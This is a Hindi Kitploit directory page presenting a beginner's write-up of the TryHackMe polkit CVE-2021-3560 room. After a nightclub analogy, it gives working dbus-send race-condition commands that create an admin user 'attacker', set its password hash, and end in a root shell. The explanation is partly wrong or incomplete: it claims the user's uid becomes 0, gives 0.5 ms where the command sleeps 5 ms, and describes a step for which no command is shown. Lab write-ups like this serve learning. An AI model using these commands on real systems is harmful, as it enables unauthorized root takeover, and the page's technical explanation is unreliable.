Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
polkit-CVE-2021-3560_writeup — TryHackMe के आसान स्तर वाले मॉड्यूल polkit:CVE-2021-3560 के लिए शुरुआती-अनुकूल लेख | Kitploit
उपकरण/GitHubGitHub/realatharva15/polkit-cve-2021-3560_writeup
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणCTFलर्निंग और शिक्षाबाइनरी शोषणलैब और अभ्यास
GitHubrealatharva15/polkit-cve-2021-3560_writeup

polkit-CVE-2021-3560_writeup

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

TryHackMe के आसान स्तर वाले मॉड्यूल polkit:CVE-2021-3560 के लिए शुरुआती-अनुकूल लेख

रिपॉजिटरी देखें
17 महीने पहलेअभी तक समीक्षित नहीं

Try Hack Me - Polkit:CVE-2021-3560

लेखक: Atharva Bordavekar

कठिनाई: Info

अंक: 32

भेद्यता: CVE-2021-3560

हम पहले polkit संस्करण की जाँच करेंगे ताकि कुछ बेहतर जानकारी मिल सके।

root@kitploit:~
apt list --installed | grep policykit-1

policykit-1/focal,now 0.105-26ubuntu1 amd64 [installed,upgradable to: 0.105-26ubuntu1.1]

मैंने आपको Polkit की अवधारणा को और बेहतर ढंग से समझाने के लिए deepseek का उपयोग करके एक सरल सादृश्य बनाया है।

नाइटक्लब बाउंसर सादृश्य

नाइटक्लब: Polkit सिस्टम

नाइटक्लब (वीआईपी क्षेत्र): विशेषाधिकार प्राप्त सिस्टम सेवाएँ/क्रियाएँ (ड्राइव माउंट करना, सॉफ़्टवेयर इंस्टॉल करना, नेटवर्क प्रबंधित करना)

दरवाजे पर बाउंसर: Polkit स्वयं, सभी प्रवेश प्रयासों को रोकता हुआ

अतिथि सूची / ड्रेस कोड: Polkit नीति नियम (/usr/share/polkit-1/actions/ और /etc/polkit-1/rules.d/ में संग्रहीत)

वीआईपी पास / क्लब सदस्यता: विशिष्ट Linux समूहों में होना (जैसे wheel, sudo, storage, network)

आईडी जाँच: Polkit उपयोगकर्ता की पहचान और समूह सदस्यता की जाँच कर रहा है

मालिक / प्रबंधक root: उपयोगकर्ता (हर चीज़ तक अप्रतिबंधित पहुँच रखता है)

वीआईपी क्षेत्र में प्रवेश करने की कोशिश कर रहे सामान्य संरक्षक: सामान्य उपयोगकर्ता/प्रोग्राम जो विशेषाधिकार प्राप्त कमांड निष्पादित करने की कोशिश कर रहे हैं

नियम पुस्तिका से परामर्श करता बाउंसर: Polkit उस विशेष क्रिया के लिए कॉन्फ़िगर की गई नीतियों की जाँच कर रहा है

विशेष रिस्टबैंड/पासवर्ड मांगता बाउंसर: प्रमाणीकरण संकेत (पासवर्ड मांगना)

बिना जाँचे किसी को अंदर भेजता बाउंसर: प्रमाणीकरण के बिना क्रिया की अनुमति (विश्वसनीय उपयोगकर्ताओं/समूहों के लिए)

polkit, systemd का sudo है

अब हम इस नाइटक्लब बाउंसर को कुछ चालाक अनुरोधों द्वारा exploit कर सकते हैं ताकि dbus अनुरोधों के लिए क्रेडेंशियल जाँच को बायपास किया जा सके।

आइए इसे उसी पिछले नाइटक्लब बाउंसर सादृश्य का उपयोग करके समझते हैं।

मान लीजिए सामान्य प्रक्रिया ऐसी होती है: बाउंसर आईडी की जाँच करता है, यदि व्यक्ति उस विशेष कार्य को करने के लिए पर्याप्त विशेषाधिकार प्राप्त है तो उसे बाउंसर द्वारा अनुमति दी जाती है। लेकिन इसे exploit करने के लिए हमलावर क्लब सचिव को एक नकली अनुरोध भेजेगा जिसमें कहा गया होगा "मुझे सभी एक्सेस के साथ क्लब मैनेजर बना दो"। अब हमारे पास संदेश के क्लब सचिव तक पहुँचने से पहले 11 मिलीसेकंड हैं और जाहिर है वह इस अनुरोध को स्वीकार नहीं करेगा। इसलिए हमें सचिव तक पहुँचने में लगने वाले समय के आधे समय यानी 0.5 मिलीसेकंड के भीतर अनुरोध को रद्द करना होगा। अब हम उस नोट को छीन लेंगे जिसमें हमारे विशेषाधिकार बढ़ाने का अनुरोध था, ठीक उसी समय जब बाउंसर यह जाँचने वाला होता है कि इसे किसने भेजा है। हम इसे छीन लेते हैं और बाउंसर नहीं बता सकता कि यह किसने किया। अब नोट के पास एक अद्वितीय संख्या है जो अब अनाथ हो गई है। अद्वितीय संख्या सिस्टम में मौजूद है लेकिन मूल नोट चला गया है। अब इस स्थिति से निपटने का डिफ़ॉल्ट प्रोटोकॉल यह है कि बाउंसर मान लेगा कि संदेश क्लब मालिक द्वारा भेजा गया था क्योंकि मैनुअल ऐसा कहता है। यह कुछ इस तरह होता है: बाउंसर पूछता है "अरे, यह संदेश #12345 किसने भेजा?" dbus-daemon अपने रिकॉर्ड में देखता है और बताता है कि "मेरे लॉग में #12345 की ट्रैकिंग है लेकिन मुझे वास्तविक संदेश नहीं मिल रहा...ERROR" इसलिए यह कहने के बजाय कि मुझे नहीं पता कि इसे किसने भेजा, dbus-daemon एक त्रुटि कोड लौटाता है। बाउंसर के प्रशिक्षण मैनुअल में एक बग है। प्रशिक्षण मैनुअल कहता है कि यदि आप नहीं जानते कि कोई विशेष संदेश किसने भेजा है और आपको आईडी की जाँच करने में त्रुटि मिलती है, तो मान लें कि यह क्लब मालिक (uid 0) से है। बाउंसर क्लब सचिव को यह संदेश क्लब मालिक के बारे में बताता है, हालाँकि यह सिर्फ एक प्रॉक्सी है, सचिव इसे मंजूरी दे देता है और फिर क्लब सचिव हमलावर के लिए एक नया क्लब मैनेजर खाता बनाता है। अब हमलावर के पास root उपयोगकर्ता के बराबर विशेषाधिकार हैं।

अब आइए उन कमांड्स को देखें जो हमें तुरंत attacker नामक उपयोगकर्ता दिला देंगे, जिसका पासवर्ड Expl01ted है। इसलिए हम कमांड्स से शुरुआत करते हैं:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1 & sleep 0.005s; kill $!

यह कमांड attacker नाम का एक उपयोगकर्ता बनाएगा। हम संदेश को बाउंसर (polkit) द्वारा पढ़े जाने से रोकने के लिए 0.5 मिलीसेकंड के तुरंत बाद बाहर निकल जाते हैं। attacker उपयोगकर्ता के पास अभी भी कोई root क्रेडेंशियल नहीं हैं।

attacker उपयोगकर्ता को अत्यंत आवश्यक root विशेषाधिकार देने के लिए हम निम्न कमांड का उपयोग करेंगे:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!
root@kitploit:~
id attacker

अब हम देख सकते हैं कि attacker उपयोगकर्ता की uid 1000 है।

यहाँ हम मूल attacker उपयोगकर्ता की उपयोगकर्ता आईडी जोड़ते हैं जिसके पास कोई विशेषाधिकार नहीं था। यह सुनिश्चित करेगा कि attacker उपयोगकर्ता की आईडी 1000 से 0 हो जाए।

root@kitploit:~
id attacker

अब हम देख सकते हैं कि attacker उपयोगकर्ता की uid 1000 से बदलकर 0 हो गई है, जिसका मतलब है कि हम उच्चतम विशेषाधिकारों वाले root उपयोगकर्ता के समूह में हैं। यहाँ से हम सीधे root के रूप में कमांड निष्पादित कर सकते हैं या हम बस root शेल में जा सकते हैं, जो भी आपको बेहतर लगे।

root@kitploit:~
sudo su
टूल डाउनलोड करें